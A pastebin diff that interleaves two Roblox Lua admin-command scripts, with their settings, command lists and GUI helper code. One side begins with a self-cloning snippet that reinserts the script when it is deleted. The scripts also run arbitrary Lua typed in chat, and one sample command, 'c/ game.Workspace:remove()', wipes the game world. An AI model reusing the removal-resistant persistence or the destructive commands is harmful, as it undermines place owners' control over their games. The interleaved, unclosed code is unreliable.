SHOW:
|
|
- or go back to the newest paste.
1 | - | ----------------------------------- |
1 | + | local Settings={["Un_Removable"]= "On"} |
2 | - | -- Modified by XxAngelusMortisxX -- |
2 | + | local function mFloor(x) return x - x % 1 end |
3 | - | ----------------------------------- |
3 | + | local Un_Removable = tostring(Settings["Un_Removable"]):lower() == "on" |
4 | - | local owners = {"trickyjet6843"} -- Are able to set admins who can ban/etc... using :pa name |
4 | + | if Un_Removable then |
5 | - | local admins = {"XxAngelusMortisxX,ghs098,aznboi819,bubbleglop"} -- Sets admins who can use ban/kick/admin or shutdown |
5 | + | Game.Workspace.DescendantRemoving:connect(function(Child) |
6 | - | local tempadmins = {santa64} -- Sets admins who can't use ban/kick/admin or shutdown |
6 | + | if not Remove_At_Will and Child == script then |
7 | - | local banland = {"MasterKhaos,catman9876"} -- Permanently Bans people |
7 | + | script.Parent:Clone().Parent = Game.Workspace |
8 | - | local prefix = ":" -- If you wanna change how your commands start ':'kill noob |
8 | + | end |
9 | - | local AutoUpdate = true -- Set to false if you don't want it to automatically update |
9 | + | |
10 | - | ----------------- |
10 | + | |
11 | - | -- Group Admin -- |
11 | + | -- Original by Person299, largely edited by nominate10 [30+ more commands!] |
12 | - | ----------------- |
12 | + | adminlist = {"ribCripql"}--Add in the names of the people you want to be able to use the command script here. |
13 | - | local GroupAdmin = false -- If a certain group can have admin |
13 | + | --Please keep 'nominate10' in there. ;) |
14 | - | local GroupId = 0 -- Sets the group id that can have admin |
14 | + | bannedlist = {"Nobody is banned right now..."}--If you want someone not to be able to enter your place, put thier name in here. |
15 | - | local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin |
15 | + | texture = ""--If you want someone wearing a certain t-shirt to be an admin, put the t-shirt's texture in here. |
16 | - | local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places) |
16 | + | |
17 | - | --------------------- |
17 | + | disableBan = false --Set to 'true' if you don't want the "ban/" command to be able to be used by anyone. (Also disables 'kick/') |
18 | - | -- Tips and Tricks -- |
18 | + | disableAdmin = false --Set to 'true' if you don't want the "admin/" command to be able to be used by anyone. |
19 | - | --------------------- |
19 | + | |
20 | owner = "ribCripql" --Change this to your name | |
21 | - | With this admin you can do a command on multiple people at a time; |
21 | + | |
22 | - | :kill me,noob1,noob2,random,team-raiders |
22 | + | --[[Hey guys! Its malasiscookieguy here. I've decided to update these commands myself, as I see Person299 probably gave up on it. |
23 | - | |
23 | + | You will be able to find the commands made by me, down below. Send me feedback & ideas. Thanks! |
24 | - | You can also use a variety commands for different people; |
24 | + | For the most recent script (I update frequently), go to, oh nvm. |
25 | - | all |
25 | + | |
26 | - | others |
26 | + | |
27 | - | me |
27 | + | |
28 | - | team- |
28 | + | |
29 | - | admins |
29 | + | The commands are, |
30 | - | nonadmins |
30 | + | |
31 | - | random |
31 | + | commands |
32 | Shows a list of all the commands | |
33 | - | -------------- |
33 | + | |
34 | - | -- Commands -- |
34 | + | BY malasiscookieguy: |
35 | - | -------------- |
35 | + | fire/nominate10 |
36 | Gives nominate10 fire | |
37 | - | -- Temp Admin Commands -- |
37 | + | |
38 | - | 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place |
38 | + | unfire/nominate10 |
39 | - | 1. :s print("Hello World") -- Lets you script normally |
39 | + | Removes any fire in nominate10's Torso |
40 | - | 2. :ls print("Hello World") -- Lets you script in localscripts |
40 | + | |
41 | - | 3. :clear -- Will remove all scripts/localscripts and jails |
41 | + | smoke/nominate10 |
42 | - | 4. :m Hello People -- This commands will let you shout a message to everyone on the server |
42 | + | Gives nominate10 smoke |
43 | - | 5. :kill kohl -- Kills the player |
43 | + | |
44 | - | 6. :respawn kohl -- Respawns the player |
44 | + | unsmoke/nominate10 |
45 | - | 7. :trip kohl -- Trips the player |
45 | + | Removes any smoke in nominate10's Torso |
46 | - | 8. :stun kohl -- Stuns the player |
46 | + | |
47 | - | 9. :unstun kohl -- Unstuns the player |
47 | + | color/nominate10/blue |
48 | - | 10. :jump kohl -- Makes the player jump |
48 | + | Colors nominate10's body blue and removes its clothes. |
49 | - | 11. :sit kohl -- Makes the player sit |
49 | + | |
50 | - | 12. :invisible kohl -- Makes the player invisible |
50 | + | advancedbtools/nominate10 |
51 | - | 13. :visible kohl -- Makes the player visible |
51 | + | Gives nominate10 advanced building tools. |
52 | - | 14. :explode kohl -- Makes the player explode |
52 | + | |
53 | - | 15. :fire kohl -- Sets the player on fire |
53 | + | insert/nominate10 |
54 | - | 16. :unfire kohl -- Removes fire from the player |
54 | + | Gives nominate10 an insert tool. |
55 | - | 17. :smoke kohl -- Adds smoke to the player |
55 | + | |
56 | - | 18. :unsmoke kohl -- Removes smoke from the player |
56 | + | noinsert/nominate10 |
57 | - | 19. :sparkles kohl -- Adds sparkles to the player |
57 | + | Removes nominate10's insert tool. |
58 | - | 20. :unsparkles kohl -- Removes sparkles from the player |
58 | + | |
59 | - | 21. :ff kohl -- Adds a forcefield to the player |
59 | + | resetambient/ |
60 | - | 22. :unff kohl -- Removes the forcefield from the player |
60 | + | Resets the ambient to 255; 255; 255 |
61 | - | 23. :punish kohl -- Punishes the player |
61 | + | |
62 | - | 24. :unpunish kohl -- Unpunishes the player |
62 | + | randomambient/ |
63 | - | 25. :freeze kohl -- Freezes the player |
63 | + | Sets the Ambient to a random color. |
64 | - | 26. :thaw kohl -- Thaws the player |
64 | + | |
65 | - | 27. :heal kohl -- Heals the player |
65 | + | getambient/ |
66 | - | 28. :god kohl -- Makes the player have infinite health |
66 | + | Displays the current ambient to the speaker. |
67 | - | 29. :ungod kohl -- Makes the player have 100 health |
67 | + | |
68 | - | 30. :ambient .5 .5 .5 -- Changes the ambient |
68 | + | platformstand/nominate10 |
69 | - | 31. :brightness .5 -- Changes the brightness |
69 | + | Sets the PlatformStand property of nominate10's Humanoid to true |
70 | - | 32. :time 12 -- Changes the time |
70 | + | |
71 | - | 33. :fogcolor .5 .5 .5 -- Changes the fogcolor |
71 | + | unplatformstand/nominate10 |
72 | - | 34. :fogend 100 -- Changes the fogend |
72 | + | Sets the PlatformStand property of nominate10's Humanoid to false |
73 | - | 35. :fogstart 100 -- Changes the fogstart |
73 | + | |
74 | - | 36. :removetools kohl -- Removes all tools from the player |
74 | + | cframe1/nominate10 |
75 | - | 37. :btools kohl -- Gives the player building tools |
75 | + | Gives nominate10 a CFrame Tool |
76 | - | 38. :give kohl sword -- Gives the player a tool |
76 | + | |
77 | - | 39. :damage kohl -- Damages the player |
77 | + | cframe2/nominate10 |
78 | - | 40. :grav kohl -- Sets the player's gravity to normal |
78 | + | Gives nominate10 a GUI CFrame Tool |
79 | - | 41. :setgrav kohl 100 -- Sets the player's gravity |
79 | + | |
80 | - | 42. :nograv kohl -- Makes the player have 0 gravity |
80 | + | skateboard/nominate10 |
81 | - | 43. :health kohl 1337 -- Changes the player's health |
81 | + | Gives nominate10 a skateboard |
82 | - | 44. :speed kohl 1337 -- Changes the player's walkspeed |
82 | + | |
83 | - | 45. :name kohl potato -- Changes the player's name |
83 | + | appearance/nominate10/416314 |
84 | - | 46. :unname kohl -- Remove the player's name |
84 | + | Changes nominate10's character look to the ID of 416314 and kills him. |
85 | - | 47. :team kohl Raiders -- Changes the player's team |
85 | + | |
86 | - | 48. :stopmusic -- Will stop all music playing in the server |
86 | + | wedge/4/1/2 |
87 | - | 49. :teleport kohl potato -- Teleports the player |
87 | + | creates a wedge with the given dimensions. |
88 | - | 50. :change kohl kills 1337 -- Changes a player's stat |
88 | + | |
89 | - | 51. :kick kohl -- Removes the player from the game |
89 | + | cylinder/4/1/2 |
90 | - | 52. :infect kohl -- Turns the player into a zombie |
90 | + | Creates a cylinder with the given dimensions. |
91 | - | 53. :rainbowify kohl -- Turns the player into a rainbow |
91 | + | |
92 | - | 54. :flashify kohl -- Turns the player into a strobe |
92 | + | block/4/1/2 |
93 | - | 55. :noobify kohl -- Turns the player into a noob |
93 | + | Creates a brick with a BlockMesh with the given dimensions. |
94 | - | 56. :ghostify kohl -- Turns the player into a ghost |
94 | + | |
95 | - | 57. :goldify kohl -- Turns the player into gold |
95 | + | sphere/4/4/4 |
96 | - | 58. :shiny kohl -- Makes the player shiny |
96 | + | Creates a sphere with the given dimensions |
97 | - | 59. :normal kohl -- Puts the player back to normal |
97 | + | |
98 | - | 60. :trippy kohl -- Spams random colors on the player's screen |
98 | + | plate/4/1/2 |
99 | - | 61. :untrippy kohl -- Untrippys the player |
99 | + | Creates a plate with the given dimensions |
100 | - | 62. :strobe kohl -- Spams white and black on the player's screen |
100 | + | |
101 | - | 63. :unstrobe kohl -- Unstrobes the player |
101 | + | burn/nominate10 |
102 | - | 64. :blind kohl -- Blinds the player |
102 | + | Sets nominate10 on fire and slowly depleats his health. |
103 | - | 65. :unblind kohl -- Unblinds the player |
103 | + | |
104 | - | 66. :guifix kohl -- Will fix trippy/strobe/blind on a player |
104 | + | watch/nominate10 |
105 | - | 67. :fling kohl -- Flings the player |
105 | + | Sets YOUR camera to view nominate10. |
106 | - | 68. :seizure kohl -- Puts the player in a seizure |
106 | + | |
107 | - | 69(lol). :music 1337 -- Plays a sound from the ID |
107 | + | removegear/nominate10 |
108 | - | 70. :lock kohl -- Locks the player |
108 | + | Removes all tools in nominate10's StarterGear |
109 | - | 71. :unlock kohl -- Unlocks the player |
109 | + | |
110 | - | 72. :removelimbs kohl -- Removes the player's limbs |
110 | + | savetools/nominate10 |
111 | - | 73. :jail kohl -- Puts the player in a jail |
111 | + | Copies all of nominate10's tools in Backpack and clones them to his StarterGear. |
112 | - | 74. :unjail kohl -- Removes the jail from the player |
112 | + | |
113 | - | 75. :fix -- This will fix the lighting to it's original settings |
113 | + | localscript/nominate10/[source] |
114 | - | 76. :fly kohl -- Makes the player fly |
114 | + | Makes a LocalScript inside nominate10 with the defined source |
115 | - | 77. :unfly kohl -- Removes fly from the player |
115 | + | |
116 | - | 78. :noclip kohl -- Makes the player able to noclip |
116 | + | setupteams/ |
117 | - | 79. :clip kohl -- Removes noclipping from the player |
117 | + | MUST BE DONE BEFORE USING TEAM-RELATED COMMANDS! (unless teams already exist) |
118 | - | 80. :pm kohl Hey bro -- Sends the player a private message |
118 | + | |
119 | - | 81. :dog kohl -- Turns the player into a dog |
119 | + | team/Bloxxers/Bright blue |
120 | - | 82. :undog kohl -- Turns the player back to normal |
120 | + | Makes a new team with the name "Bloxxers" and the TeamColor "Bright Blue" (CASE SENSITIVE!) |
121 | - | 83. :creeper kohl -- Turns the player into a creeper |
121 | + | |
122 | - | 84. :uncreeper kohl -- Turns the player back to normal |
122 | + | changeteam/nominate10/Bloxxers |
123 | - | 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place |
123 | + | Changes nominate10's team to Bloxxers |
124 | - | 86. :char kohl 261 -- Will make a player look like a different player ID |
124 | + | |
125 | - | 87. :unchar kohl -- Will return the player back to normal |
125 | + | removeteam/Bloxxers |
126 | - | 88. :h Hello People -- This will shout a hint to everyone |
126 | + | Removes the Bloxxers team and moves its members to an "Unassigned" team |
127 | - | 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group |
127 | + | |
128 | - | 90. :starttools kohl -- Will give the player starter tools |
128 | + | ==================================== |
129 | - | 91. :sword kohl -- Will give the player a sword |
129 | + | ==================================== |
130 | - | 92. :bighead kohl -- Will make the player's head larger than normal |
130 | + | |
131 | - | 93. :minihead kohl -- Will make the player's head smaller than normal |
131 | + | |
132 | - | 94. :insert 1337 -- Will insert a model at the speaker's position |
132 | + | fix |
133 | - | 95. :disco -- Will make the server flash random colors |
133 | + | If the command script breaks for you, say this to fix it |
134 | - | 96. :flash -- Will make the server flash |
134 | + | |
135 | - | 97. :admins -- Shows the admin list |
135 | + | kill/Person299 |
136 | - | 98. :bans -- Shows the banlist |
136 | + | kills Person299 |
137 | - | 99. :musiclist -- Shows the music list |
137 | + | |
138 | - | 100. :spin kohl -- Spins the player |
138 | + | loopkill/Person299 |
139 | - | 101. :cape kohl Really black -- Gives the player a colored cape |
139 | + | Repeatedly kills Person299 when he respawns |
140 | - | 102. :uncape kohl -- Removes the player's cape |
140 | + | |
141 | - | 103. :loopheal kohl -- Will constantly heal the player |
141 | + | unloopkill/Person299 |
142 | - | 104. :loopfling kohl -- Will constantly fling the player |
142 | + | Undos loopkill/ |
143 | - | 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337 |
143 | + | |
144 | - | 106. :unloopheal kohl -- Will remove the loopheal on the player |
144 | + | heal/Person299 |
145 | - | 107. :unloopfling kohl -- Will remove the loopfling on the player |
145 | + | Returns Person299 to full health |
146 | - | 108. :unspin kohl -- Removes spin from the player |
146 | + | |
147 | - | 109. :tools -- Gives a list of the tools in the lighting |
147 | + | damage/Person299/50 |
148 | - | 110. :undisco -- Removes disco effects |
148 | + | Makes Person299's character take 50 damage |
149 | - | 111. :unflash -- Removes flash effects |
149 | + | |
150 | - | 112. :resetstats kohl -- Sets all the stats of a player to 0 |
150 | + | health/Person299/999999 |
151 | - | 113. :gear kohl 1337 -- Gives a player a gear |
151 | + | Makes Person299's MaxHealth and Health 999999 |
152 | - | 114. :cmdbar -- Gives the speaker a command bar |
152 | + | |
153 | - | 115. :shirt kohl 1337 -- Changes the player's shirt |
153 | + | kick/Person299 |
154 | - | 116. :pants kohl 1337 -- Changes the player's pants |
154 | + | Removes Person299 from the game, cannot be used by admin/ed people |
155 | - | 117. :face kohl 1337 -- Changes the player's face |
155 | + | |
156 | - | 118. :swagify kohl -- Swagifies the player |
156 | + | ban/Person299 |
157 | - | 119. :version -- Shows the current version of the admin |
157 | + | Removes Person299 from the game and keeps him from reenterring, cannot be used by admin/ed people |
158 | - | |
158 | + | |
159 | - | -- Super Admin Commands -- |
159 | + | bannedlist |
160 | - | - :serverlock -- Locks the server |
160 | + | Shows a list of everyone banned |
161 | - | - :serverunlock -- Unlocks the server |
161 | + | |
162 | - | - :sm Hello World -- Creates a system message |
162 | + | unban/Person299 |
163 | - | - :crash kohl -- Crashes a player |
163 | + | Unbans Person299 |
164 | - | - :admin kohl -- Admins a player |
164 | + | |
165 | - | - :unadmin kohl -- Unadmins a player |
165 | + | explode/Person299 |
166 | - | - :ban kohl -- Bans a player |
166 | + | Explodes Person299's character |
167 | - | - :unban kohl -- Unbans a player |
167 | + | |
168 | - | - :loopkill kohl -- Will constantly kill the player |
168 | + | rocket/Person299 |
169 | - | - :unloopkill kohl -- Will remove the loopkill on the player |
169 | + | Straps a rocket onto Person299's back |
170 | - | - :logs -- Will show all of the commands any admin has used in a game session |
170 | + | |
171 | - | - :shutdown -- Shutsdown the server |
171 | + | removetools/Person299 |
172 | - | |
172 | + | Removes all of Person299's tools. |
173 | - | -- Owner Commands -- |
173 | + | |
174 | - | - :pa kohl -- Makes someone a super admin |
174 | + | givetools/Person299 |
175 | - | - :unpa kohl -- Removes a super admin |
175 | + | Gives Person299 all the tools in StarterPack |
176 | ||
177 | - | ----------------- |
177 | + | givebtools/Person299 |
178 | - | -- Main Script -- |
178 | + | Gives Person299 the building tools |
179 | - | ----------------- |
179 | + | |
180 | - | for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end |
180 | + | sit/Person299 |
181 | - | |
181 | + | Makes Person299 sit |
182 | - | function CHEESE() |
182 | + | |
183 | - | if game:service("Lighting"):findFirstChild("KACV2") then |
183 | + | part/4/1/2 |
184 | - | owners = {} admins = {} tempadmins = {} banland = {} |
184 | + | Makes a part with the given dimensions appear over your character |
185 | - | for i,v in pairs(game.Lighting.KACV2:children()) do |
185 | + | |
186 | - | if v.Name == "Owner" then table.insert(owners, v.Value) end |
186 | + | respawn/Person299 |
187 | - | if v.Name == "Admin" then table.insert(admins, v.Value) end |
187 | + | Makes Person299's character respawn |
188 | - | if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end |
188 | + | |
189 | - | if v.Name == "Banland" then table.insert(banland, v.Value) end |
189 | + | jail/Person299 |
190 | - | if v.Name == "Prefix" then prefix = v.Value end |
190 | + | Makes a lil jail cell around Person299's character |
191 | - | if v.Name == "FunCommands" then FunCommands = v.Value end |
191 | + | |
192 | - | if v.Name == "GroupAdmin" then GroupAdmin = v.Value end |
192 | + | unjail/Person299 |
193 | - | if v.Name == "GroupId" then GroupId = v.Value end |
193 | + | Undos jail/ |
194 | - | if v.Name == "GroupRank" then GroupRank = v.Value end |
194 | + | |
195 | punish/Person299 | |
196 | - | game:service("Lighting"):findFirstChild("KACV2"):Destroy() |
196 | + | Puts Person299's character in game.Lighting |
197 | ||
198 | - | |
198 | + | unpunish/Person299 |
199 | - | local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart} |
199 | + | Undos punish/ |
200 | - | local lobjs = {} |
200 | + | |
201 | - | local objects = {} |
201 | + | merge/Person299/Farvei |
202 | - | local logs = {} |
202 | + | Makes Person299 control Farvei's character |
203 | - | local nfs = "" |
203 | + | |
204 | - | local slock = false |
204 | + | teleport/Person299/nccvoyager |
205 | - | |
205 | + | Teleports Person299's character to nccvoyager's character |
206 | - | function GetTime() |
206 | + | |
207 | - | local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60) |
207 | + | control/Person299 |
208 | - | if min < 10 then min = "0"..min end |
208 | + | Makes you control Person299's character |
209 | - | return hour..":"..min |
209 | + | |
210 | change/Person299/Money/999999 | |
211 | - | |
211 | + | Makes the Money value in Person299's leaderstats 999999 |
212 | - | function ChkOwner(str) |
212 | + | |
213 | - | for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end |
213 | + | tools |
214 | Gives you a list of all the tools available to be give/en, the tool must be in game.Lighting | |
215 | ||
216 | - | |
216 | + | give/Person299/Tool |
217 | - | function ChkAdmin(str,ck) |
217 | + | Give's Person299 a tool, the toolname can be abbreviated |
218 | - | for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end |
218 | + | |
219 | - | for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end |
219 | + | time/15.30 |
220 | - | for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end |
220 | + | Makes game.Lighting.TimeOfDay 15:30 |
221 | ||
222 | ambient/255/0/0 | |
223 | - | |
223 | + | Makes game.Lighting.Ambient 255,0,0 |
224 | - | function ChkGroupAdmin(plr) |
224 | + | |
225 | - | if GroupAdmin then |
225 | + | maxplayers/20 |
226 | - | if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end |
226 | + | Makes game.Players.MaxPlayers 20 |
227 | ||
228 | nograv/Person299 | |
229 | Makes Person299 almost weightless | |
230 | - | |
230 | + | |
231 | - | function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end |
231 | + | antigrav/Person299 |
232 | - | |
232 | + | Gives Person299 antigravity properties |
233 | - | function GetPlr(plr, str) |
233 | + | |
234 | - | local plrz = {} str = str:lower() |
234 | + | grav/Person299 |
235 | - | if str == "all" then plrz = game.Players:children() |
235 | + | Returns Person299's gravity to normal |
236 | - | elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end |
236 | + | |
237 | highgrav/Person299 | |
238 | - | local sn = {1} local en = {} |
238 | + | Makes Person299 heavier |
239 | - | for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end |
239 | + | |
240 | - | for x = 1, #sn do |
240 | + | setgrav/Person299/-196 |
241 | - | if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr) |
241 | + | Sets Person299's gravity |
242 | - | elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())]) |
242 | + | |
243 | - | elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end |
243 | + | trip/Person299 |
244 | - | elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end |
244 | + | Makes Person299's character trip |
245 | - | elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then |
245 | + | |
246 | - | if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then |
246 | + | walkspeed/Person299/99 |
247 | - | for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break |
247 | + | Makes Person299's character's humanoid's WalkSpeed 99, 16 is average |
248 | ||
249 | - | elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then |
249 | + | invisible/Person299 |
250 | - | if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then |
250 | + | Makes Person299's character invisible |
251 | - | for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break |
251 | + | |
252 | visible/Person299 | |
253 | Undos invisible/ | |
254 | - | for a, plyr in pairs(game.Players:children()) do |
254 | + | |
255 | - | if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then |
255 | + | freeze/Person299 |
256 | - | table.insert(plrz, plyr) break |
256 | + | Makes Person299's character unable to move |
257 | ||
258 | thaw/Person299 | |
259 | Undos freeze/ | |
260 | ||
261 | unlock/Person299 | |
262 | - | return plrz |
262 | + | Makes Person299's character unlocked |
263 | ||
264 | - | |
264 | + | lock/Person299 |
265 | - | function Hint(str, plrz, time) |
265 | + | Makes Person299's character locked |
266 | - | for i, v in pairs(plrz) do |
266 | + | |
267 | - | if v and v:findFirstChild("PlayerGui") then |
267 | + | ff/Person299 |
268 | - | coroutine.wrap(function() |
268 | + | Gives Person299's character a ForceField |
269 | - | local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI" |
269 | + | |
270 | - | local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8 |
270 | + | unff/Person299 |
271 | - | local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8 |
271 | + | Undos ff/ |
272 | - | coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) |
272 | + | |
273 | - | if not time then wait((#str/19)+2.5) else wait(time) end |
273 | + | sparkles/Person299 |
274 | - | coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end)) |
274 | + | Makes Person299's character sparkly |
275 | - | end)() |
275 | + | |
276 | unsparkles/Person299 | |
277 | Undos sparkles/ | |
278 | ||
279 | - | |
279 | + | shield/Person299 |
280 | - | function Message(ttl, str, scroll, plrz, time) |
280 | + | Makes a destructive shield thingy appear around Person299 |
281 | - | for i, v in pairs(plrz) do |
281 | + | |
282 | - | if v and v:findFirstChild("PlayerGui") then |
282 | + | unshield/Person299 |
283 | - | coroutine.resume(coroutine.create(function() |
283 | + | Undos shield/ |
284 | - | local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI" |
284 | + | |
285 | - | local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8 |
285 | + | god/Person299 |
286 | - | local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8 |
286 | + | Makes Person299 godish |
287 | - | local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true |
287 | + | |
288 | - | scr.Parent = v.PlayerGui |
288 | + | ungod/Person299 |
289 | - | coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) |
289 | + | Undos god/ |
290 | - | if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end |
290 | + | |
291 | - | else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end |
291 | + | zombify/Person299 |
292 | - | coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end)) |
292 | + | Makes Person299 a infecting zombie |
293 | - | end)) |
293 | + | |
294 | admin/Person299 | |
295 | Makes Person299 able to use the command script, cannot be used by admin/ed people | |
296 | ||
297 | - | |
297 | + | adminlist |
298 | - | _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end |
298 | + | Shows a list of everyone in the adminlist |
299 | - | _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end |
299 | + | |
300 | - | |
300 | + | unadmin/Person299 |
301 | - | function Output(str, plr) |
301 | + | Undos admin/, cannot be used by admin/ed people |
302 | - | coroutine.resume(coroutine.create(function() |
302 | + | |
303 | - | local b, e = loadstring(str) |
303 | + | shutdown |
304 | - | if not b and plr:findFirstChild("PlayerGui") then |
304 | + | Shuts the server down, cannot be used by admin/ed people |
305 | - | local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5) |
305 | + | |
306 | - | local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8 |
306 | + | m/Fallout 2 is one of the best games ever made |
307 | - | local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8 |
307 | + | Makes a message appear on the screen saying "Fallout 2 is one of the best games ever made" for 2 seconds |
308 | ||
309 | h/i like pie | |
310 | - | end)) |
310 | + | Makes a hint appear on the screen saying "i like pie" for 2 seconds |
311 | ||
312 | - | |
312 | + | c/ game.Workspace:remove() |
313 | - | function Noobify(char) |
313 | + | Makes a script which source is whats after c/ |
314 | - | if char and char:findFirstChild("Torso") then |
314 | + | |
315 | - | if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end |
315 | + | clearscripts |
316 | - | if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end |
316 | + | Removes all scripts created by c/ or localscript/ |
317 | - | for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end |
317 | + | |
318 | - | local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char |
318 | + | clearbricks |
319 | - | for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then |
319 | + | Removes any created bricks and jails |
320 | - | prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow") |
320 | + | |
